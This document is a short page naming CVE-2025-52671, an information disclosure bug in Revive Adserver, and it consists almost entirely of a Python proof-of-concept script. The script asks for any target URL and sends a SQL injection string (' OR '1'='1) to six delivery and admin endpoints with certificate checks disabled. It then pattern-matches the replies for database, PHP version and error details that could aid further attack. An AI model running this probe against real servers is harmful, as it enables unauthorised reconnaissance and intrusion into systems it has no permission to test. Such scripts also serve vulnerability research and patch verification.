CVE-2025-52671 Revive Adserver SQL错误信息泄露漏洞

# CVE-2025-52671 PoC - Revive Adserver SQL Error Information Disclosure import requests import re import sys target = input("Enter target URL (e.g., http://target.com/revive-adserver/): ").rstrip('/') # Common endpoints that may trigger SQL errors endpoints = [ '/www/delivery/axelscript.php', '/www/delivery/ck.php', '/www/admin/advertiser-edit.php', '/www/admin/campaign-edit.php', '/www/admin/banner-edit.php', '/www/admin/zone-edit.php' ] print(f"[*] Testing CVE-2025-52671 on {target}") print(f"[*] Target: Revive Adserver Information Disclosure via SQL Error Messages") print("-" * 60) for endpoint in endpoints: url = target + endpoint try: # Try to trigger SQL error with malformed input params = {'id': "' OR '1'='1"} response = requests.get(url, params=params, timeout=10, verify=False) # Check for version information in response patterns = [ r'(MySQL|MySQLi|PostgreSQL|SQLite)', r'(PHP/[0-9]+\.[0-9]+\.[0-9]+)', r'(Version [0-9]+\.[0-9]+\.[0-9]+)', r'(mysql_|pgsql_|sqlite_)', r'SQL.*(error|Error|ERROR)', r'(server version|MySQL server)', r'(phpversion|mysql_get_server_info)' ] for pattern in patterns: matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: print(f"[!] Potential Information Disclosure found at {endpoint}") print(f" Pattern matched: {pattern}") print(f" Matched content: {matches[:3]}") print() break except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("-" * 60) print("[*] Scan complete") print("[*] If information disclosure was found, the error messages may reveal:") print(" - Database type and version") print(" - PHP version") print(" - Server configuration") print(" - File paths and system structure")